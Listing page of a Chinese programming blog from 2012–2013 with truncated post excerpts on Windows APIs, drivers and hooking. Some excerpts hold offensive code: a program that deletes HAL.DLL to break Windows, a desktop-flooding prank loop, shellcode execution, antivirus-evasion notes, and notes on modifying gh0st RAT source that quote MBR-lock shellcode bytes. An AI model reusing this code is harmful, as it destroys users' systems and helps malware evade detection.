自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

record

记录成长,记录自我。

  • 博客(31)
  • 收藏
  • 关注

原创 我了个草

写的一个系统安全优化工具,写到删除系统垃圾的时候,不知道哪里出问题了,把系统的HAL文件给删了,然后重装系统,用一张英文版XP光盘装,准备格式C盘的时候想了想,还是用WIN7的盘吧,因为英文版还要下各种驱动,所以嫌麻烦,只是把C盘分区删除了还没有格式化就把盘退出来了,然后用WIN7的盘,一键安装,到这里,我了个草,就是因为前面没有格式化C盘导致的,安装完成后,开机启动不了,然后才发现,TMD安装到

2013-06-21 20:23:11 816

原创 MessageBox shellcode

最近在学习shellcode ,一个XPSP3下的MessageBox shellcode 。先把代码贴出来吧。char shellcode[]="\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xB8\xEA\x07\xD5\x77\xFF\xD0";void *zhizhen = &shellcode;_asm{call zhizhen}s

2013-06-18 19:49:20 1391

原创 system()函数小技巧

system()可以调用dos下的命令,但有时候碰到双引号的语句,导致编译不通过。如:system(" xxx "DCOM Protocols" xxxx");可以改为:system(" xxx \"DCOM Protocols\" xxxx");加上\号就可以了。

2013-06-05 11:42:14 857

原创 VC取得环境变量内容

头文件:#include 定义函数:char * getenv(const char *name);函数说明:getenv()用来取得参数name 环境变量的内容. 参数name 为环境变量的名称, 如果该变量存在则会返回指向该内容的指针. 环境变量的格式为name=value.返回值:执行成功则返回指向该内容的指针, 找不到符合的环境变量名称则返回

2013-05-27 22:52:38 1168

原创 写的一个东东

// freeheart.cpp : Defines the entry point for the console application.//学习交流使用,违法使用后果自负。// by:freeheart time 2013.5.24// argv 0 = freeheart.exe// argv 1 = -i // argv 2 = name.exe// argv 3 = 1

2013-05-27 22:50:21 588

原创 GetModuleFileName函数

WINAPI DWORD GetModuleFileName( HMODULE hModule,LPWSTR lpFilename, DWORD nSize);hModule Long一个模块的句柄。可以是一个DLL模块,或者是一个应用程序的实例句柄。如果该参数为NULL,该函数返回该应用程序全路径。lpFileName String指定一个字串缓冲区,要在其中

2013-05-23 01:06:57 534

原创 谈学习,难,逃避

摘自:李中莹微博谈"学习"之一:我们需要不断学习,与时俱进,但是,学什么?应试教育只强调知识,欠缺能力的培养,就是道理很好,只是做不出来。去买一台冼衣机,说明书有完整的知识,而那台机器不说只做,就是能力。二者选一,你要哪个?这就是应届大学生的困难所在。(待续)谈学习之二:我们的传统文化很优秀深厚,"应该怎样做"的学问很丰富,"如何能做到"的学问,就是现代人说的"操作性强"的

2013-05-19 00:48:18 660

原创 argc和argv的解释

平时定义主函数时通常的写法为:int main( )或void main( )int main( ) 只是 UNIX 及 Linux 默许的用法,main(int argc, char *argv[ ])才是UNIX和Linux中的标准写法。argc是参数个数argv是字符串数组,存参数的地方,如编译好的程序为1.exe在命令行执行 1.exe 1 2 3

2013-05-18 21:38:09 727

原创 文件读取写入

#include "stdafx.h"#include //必要头文件#include //必要头文件#include using namespace std;int main(int argc, char* argv[]){ ifstream duqu("11.cpp"); //调用类,读取功能 ofstream xieru("C:\\1.txt");

2013-05-18 17:02:28 591

原创 VS2008编译驱动

一、新建一个空的 win32控制台程序 1、选(文件→新建→项目→Visual C++项目→win32→win32控制台项目)创建一个填写上名称event然后按确定在弹出的win32应用程序向导里 选应用程序设置 →附加选项 勾选空项目→完成。二   选项目菜单→添加现有项→添加所有驱动相关的*.h,*.c,*.cpp,*.rc之类的文件。三

2013-05-17 21:14:28 497

原创 VC6.0工具栏没有了的办法

英文版:Tools->Customize->Toolbars->选中“Controls”中文版:工具->自定义->工具栏->选中“控件”

2013-05-17 21:12:24 4803

转载 Hiew使用方法

一、Hiew的运行 在Hiew目录找到Hiew.exe,运行它,这时Hiew界面出现的是Hiew目录文件。此时在屏幕底部的命令行有相关提示,对应的是功能键F(n),F1 帮助F2 - Hidden - 打开或关闭隐藏文件显示F3 - Name - 按文件排序F4 - Exten - 按扩展名排序F5 - Time - 按文件时间排序F6 - Size

2013-05-17 21:11:09 2867

原创 MmGetSystemRoutineAddress函数

PVOID   MmGetSystemRoutineAddress(    IN PUNICODE_STRING  SystemRoutineName     ); 获取内核导出函数的地址SystemRoutineName 为一个UNICODE字符串如:RtlInitUnicodeString(&Old_NtOpenProcess,L"NtOpenProce

2013-05-14 19:17:52 1547

原创 读取SSDT当前函数地址

#include "ntddk.h"VOID DriverUnload(PDRIVER_OBJECT driver){ DbgPrint("卸载成功\n\r");}typedef struct _ServiceDescriptorTable { PVOID ServiceTableBase; PVOID ServiceCounterTable; unsigned int Nu

2013-05-14 17:12:28 758

原创 dll注入目标进程

DLL 利用MFC创建,def文件中加入函数名,在cpp文件中写入自己的函数代码。在EXE源文件中加入两句代码。#pragma   comment(lib,"dll.lib"); __declspec( dllimport ) void goHook();然后调用函数即可。以下安装钩子让QQ2013键盘失效HHOOK aHook;LRESULT CALLBA

2013-05-11 12:10:50 593

原创 CreateRemoteThread函数

这个函数可以实现远程CALL的功能。函数原型:HANDLE WINAPI CreateRemoteThread( __in HANDLE hProcess, //OpenProcess的返回值 __in LPSECURITY_ATTRIBUTES lpThreadAttributes, __in SIZE_T

2013-05-04 03:29:40 470

原创 植物大战僵尸中文版修改器源码

很简单一个辅助,关键是游戏数据的分析,实现了两个功能,无限阳光和无冷却。特别注意的一下,如果用VS2008编译的话,调试的时候是正常的,但编译后功能就会失效,这是因为OpenProcess权限的问题,需要提权,在VC6下是正常的。void CzhiwuDlg::OnBnClickedButton1(){ //无限阳光代码 HWND hJubing; DWORD lID; DWOR

2013-05-01 18:45:56 3823

原创 Winsock编程

加载必要文件:winsock2.h#pragma comment(lib,"ws2_32.lib")初始化版本:WSAStarup()建立套字节:socket()绑定IP和端口:bind()监听:listen()等待连接:accept()接受信息:recv()发送信息:send()关闭套字节:

2013-05-01 15:11:42 354

原创 Hook

//全局HOOK钩子例子。HHOOK MyHook = NULL;LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam){ return 1; //返回非0,让键盘失效。}AAA_API BOOL StartHook(void){MyHook = SetWindowsHookEx(WH_KEYBO

2013-05-01 15:00:58 395

原创 ShellExeCute函数

HINSTANCE ShellExecute(         HWND hwnd,LPCTSTR lpOperation,LPCTSTR lpFile,LPCTSTR lpParameters,LPCTSTR lpDirectory,INT nShowCmd);第一个参数是个句柄。第二个参数是打开的方式,如"open".第三个参数是打开的地址,如:"htt

2013-04-18 21:39:32 410

原创 几个函数的学习

FindWindowGetWindowThreadProcessIdOpenProcessOpenProcessReadProcessMemory函数原型:HWND FindWindow(  LPCTSTR lpClassName, //窗口类名,可为NULL.LPCTSTR lpWindowName //窗口标题);DWORD GetWindo

2013-04-12 19:51:45 391

原创 内核双机调试

BOOT.ini 修改的:[boot loader]timeout=30default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS[operating systems]multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /n

2013-03-30 20:00:04 484

原创 科目四的题目你让我情何以堪

这是什么?是我的理解有问题,“紧急电话的位置”“紧急电话号码”这是那位专家出的题目。

2013-03-11 19:57:05 550

原创 新年

年末的尾声响起。2012结束了。匆匆飞过的岁月。就这样度过了。

2013-02-08 23:40:32 219

原创 邪恶妙用DeleteFile函数

#include int main(){DeleteFile("C:\\WINDOWS\\SYSTEM32\\HAL.DLL");return 0;}HAL.DLL 系统文件,删除后需重装系统,学习交流,谨慎使用后果自负。

2013-02-07 09:11:54 691

原创 微笑的Esp

2012/8/26凛冽的寒风中。一个单薄的身影。走在光与暗的交织处。若隐若现之间。看见的。只有他的微笑。

2013-01-24 19:58:09 241

转载 怎样练习一万个小时

来源:果壳网随着畅销书《异类》的流行,“练习一万小时成天才”这个口号现在是尽人皆知。也许仍然有不少人相信那些不世出的天才必有天生的神秘能力,但科学家通过大量的调查研究已经达成共识,那就是所有顶级高手都是练出来的。不但如此,最近几年的科学进展,人们可能第一次拥有了一个关于怎样炼成天才的统一理论。好消息是除了某些体育项目对天生的身高和体型有特殊要求之外,神秘的天生素质并不存在,也就是说

2013-01-24 19:53:01 309

原创 让对方崩溃的小程序

写的一个整人程序,运行程序后,程序会在桌面上创建N个文件,然后弹出N个对话框,进入个死循环。#include #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) //隐藏DOS窗口int main(){ char name[255];for(int z=0;z<=100000000

2013-01-24 19:31:23 1309 1

原创 源码免杀笔记

各个杀毒软件查杀特点不一样,大致总结以下,API函数,字符串,代码段,资源段。免杀方法大致有如下几种手段,动态函数调用,延迟加载DLL,合并区段,字符串隐藏,删版权换版权,花指令,反调试等等细节,以上几种方法基本上过掉大部分杀软,当然有能力也可以自己改变程序的代码实现原来的功能。1.动态函数调用有两个函数是不能调用的,GetProcAddress,LoadLibrary。杀毒软件如果查

2013-01-02 17:22:06 2068

转载 gh0st完全分离dat文件与dll文件

1.搜索IDR_DLL搜索IDR_BSS注释://IDR_BSS                 BSS     DISCARDABLE     "res\\install.exe"//IDR_BSS                 BSS     DISCARDABLE     "res\\install.exe"2.搜索ReleaseResource搜索

2013-01-02 17:17:56 806

转载 gh0st源码去硬盘锁与驱动

去硬盘锁:1.打开源文件gh0st.cpp(搜索unsigned char scode[] =)注释以下部分:/*    unsigned char scode[] =    "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"    "\x00\xba\x1d\x0e\xcd\x10\xe2\

2012-12-13 13:15:19 895

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除